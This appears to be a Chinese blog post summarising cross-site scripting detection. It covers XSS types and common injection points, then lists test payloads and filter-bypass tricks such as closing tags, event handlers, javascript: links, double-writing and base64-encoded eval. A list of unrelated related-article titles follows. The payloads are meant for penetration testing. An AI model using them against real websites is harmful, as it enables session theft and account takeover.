XSS漏洞介绍

    跨站脚本XSS是一种针对网站应用程序的安全漏洞攻击技术。恶意攻击者往web页面插入恶意的Script代码,当用于浏览该页时,嵌入web中的恶意代码就会被执行,从而达到恶意攻击用户的目的。恶意用户利用XSS代码攻击成功后,可能会得到很高的权限,进而进行一些非法操作。

XSS攻击需要了解什么

1.获取管理员的cookie信息、篡改网页的链接

2.存储型XSS,将恶意代码存放在服务端,正常用户访问,恶意代码也会获取用户的cookie

检测测是否存在XSS的方法:将该语句发给服务器:,如果服务器端没有进行过滤,服务器就会返回给客户端,则服务器端存在XSS漏洞。主要就是看服务器端给客户端的响应。(使用burp抓包response)

3.发生位置:留言板、评论、搜索

4.分类:反射型XSS(需要发给客户,客户点击链接才会触发)、存储型XSS(危害严重)、Dom型(特殊的反射型,也需要客户点击链接才会触发)

5.改链接(用来引流),改cookie(用来提权)

XSS检测总结

常用XSS检测

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>

直接检测

<script>alert('hi')</script>
<script>alert(document.domain)</script>

闭合<input>标签

"><script>alert(document.domain)</script>
"/><script>alert(document.domain)</script>

闭合选择框,burp抓包修改

</option><script>alert(document.domain)</script>

存在隐藏提交项,burp抓包修改

隐藏项目名"><script>alert(document.domain)</script>

或者使用svg onload事件触发JS代码

隐藏项目名"><svg onload=alert(document.domain)>%0a

限制maxlength的数值

maxlength="1000000"

<script>被转义,使用html事件处理器

xss" onclick="alert(document.domain)"/>
xss" onmouseover="alert(document.domain)"/>

使用JavaScript伪协议

<a href="javascript:alert(document.domain)">
如果不想让链接执行<a href="javascript:void(0)">javascript:alert(document.domain)

双写绕过(或者多写)

"><script>alert(document.dodomainmain)</script>
"><script>alert(eval('document.do'+'main'))</script>

编码绕过

"><script>eval(atob('xxxx'))</script>

其中,xxx是alert(document.domain)的base64编码,atob的作用是把base64解码

伪协议绕过

"><a href="javascript:alert(document.domain)">xss</a>
"><iframe src="javascript:alert(document.domain)">xss</iframe>

空格绕过

"><a href="javascr     ipt:alert(document.domain)">xss</a>"><a

IE浏览器特性绕过

IE中两个反引号``可以闭合一个左边的引号

``onclick=alert(document.domain)

双斜杠16进制绕过、双斜杠unicode绕过

    将被过滤的字符进行不同编码,一次或者多次进行绕过

注意

    在使用XSS编码测试时,需要考虑HTML渲染的顺序,特别是针对多种编码组合时,要选择合适的编码方式进行绕过。

XSS检测总结的更多相关文章

  1. HMM XSS检测

    HMM XSS检测 转自:http://www.freebuf.com/articles/web/133909.html 前言 上篇我们介绍了HMM的基本原理以及常见的基于参数的异常检测实现,这次我们 ...

  2. XSS检测工具 X5S/fiddler

    x5s http://xss.codeplex.com/ 5s是fiddler的插件, 协助XSS脚本攻击的穿刺性测试.  需要手动驱动. 安全编码,unicode字符变形,ut-8编码. 5s is ...

  3. Burpsuite-Intruder-xssValidator(XSS检测)基础学习

    这次总结的是使用Burp+PhantomJS进行xss测试. 首先,当然是xss测试的环境配置了. 1. PhantomJS安装及Path配置:自己找资料吧. phantomjs -v验证是否成功安装 ...

  4. XSS动态检测

    0x00 起 前一段时间,因为工作原因接触到XSS漏洞检测.前人留下的锅,是采用pyqt webkit来解析网页内容.作为Python webkit框架,相比于PhantomJS,pyqt在捕获错误, ...

  5. web安全之xss

    xss:跨站脚本攻击,攻击者,把一段恶意代码镶嵌到web页面,,用户浏览页面时,嵌入页面的恶意代码就会执行,从而到达攻击用户的目的. 重点在于脚本,javascript和actionscript    ...

  6. Cross-Site Scripting(XSS)简介

    最近才开始研究HTML以及安全问题.如果有什么说得不对的地方,望请指出. 在网络应用安全中,XSS可能是最常见,范围最大,所包含攻击方法最多,同时也是最难以理解的一种攻击.在OWASP所列出的十大网络 ...

  7. ThinkCMF 解决xss攻击问题

    最近使用ThinkCMF给某政府开发的一个平台,因为他们需要通过国家二级信息安全等级测试 所以自己先使用Appscan测试了一下,结果扫描出一个xss安全问题 测试的网址:http://www.xxx ...

  8. 防御XSS攻击的七条原则

    本文将会着重介绍防御XSS攻击的一些原则,需要读者对于XSS有所了解,至少知道XSS漏洞的基本原理,如果您对此不是特别清楚,请参考这两篇文章:<Stored and Reflected XSS ...

  9. 跨站的艺术-XSS Fuzzing 的技巧

    作者 | 张祖优(Fooying)  腾讯云 云鼎实验室 对于XSS的漏洞挖掘过程,其实就是一个使用Payload不断测试和调整再测试的过程,这个过程我们把它叫做Fuzzing:同样是Fuzzing, ...

随机推荐

  1. AJ学IOS(07)UI之UITextField代理事件_类似QQ登陆窗口的简单实现

    AJ分享,必须精品 先看效果图: 学习代码 // // NYViewController.m // 05-UITextField事件_UIKit复习 // // Created by apple on ...

  2. 01-css3之过渡

    一.介绍 过渡(transition)是CSS3中具有颠覆性的特征之一,我们可以在不使用 Flash 动画或 JavaScript 的情况下,当元素从一种样式变换为另一种样式时为元素添加效果,经常和 ...

  3. C# 基础知识系列- 10 反射和泛型(二)

    0. 前言 这篇文章延续<C# 基础知识系列- 5 反射和泛型>,继续介绍C#在反射所开发的功能和做的努力.上一篇文章大概介绍了一下泛型和反射的一些基本内容,主要是通过获取对象的类型,然后 ...

  4. matlab计算相对功率

    1.对脑电数据进行db4四层分解,因为脑电频率是在0-64HZ,分层后如图所示, 细节分量[d1 d2 d3 d4] 近似分量[a4] 重建细节分量和近似分量,然后计算对应频段得相对功率谱,重建出来得 ...

  5. L19深度学习中的优化问题和凸性介绍

    优化与深度学习 优化与估计 尽管优化方法可以最小化深度学习中的损失函数值,但本质上优化方法达到的目标与深度学习的目标并不相同. 优化方法目标:训练集损失函数值 深度学习目标:测试集损失函数值(泛化性) ...

  6. 再接再厉,JSONViewer现已支持Firefox、Microsoft Edge、360浏览器,可能是最好用的JSON格式化工具

    之前写的JSONViewer,截至目前在谷歌商店里已经有1000+的自然下载量了 为什么开发JSONViewer? 日常开发中,拿到接口输出的JSON一般会去在线的JSON格式化网站查看,但是在线格式 ...

  7. Joomla 3.4.6 Remote Code Execution漏洞复现

    0x00:简介 Joomla是一套全球有名的CMS系统. Joomla基于PHP语言加上MySQL数据库所开发出来的WEB软件系统,目前最新版本是3.9.12. Joomla可以在多种不同的平台上部署 ...

  8. 人体和电脑的关系——鸟哥的LINUX私房菜基础学习篇读书笔记

    CUP=脑袋: 每个人会做的事情都不一样(指令集的差异),但主要都是通过脑袋来判断与控制身体各部分的行动 内存=脑袋中存放正在思考的数据区块: 在实际活动过程中,我们的脑袋需要有外界刺激的数据(例如光 ...

  9. 【山外笔记-数据库】Memcached详解教程

    本文打印版文档下载地址 [山外笔记-数据库]Memcached详解教程-打印版.pdf 一.Memcached数据库概述 1.Memcached简介 (1)Memcached是一个自由开源的,高性能, ...

  10. React Hooks: useCallback理解

    useCallback把匿名回调“存”起来 避免在component render时候声明匿名方法,因为这些匿名方法会被反复重新声明而无法被多次利用,然后容易造成component反复不必要的渲染. ...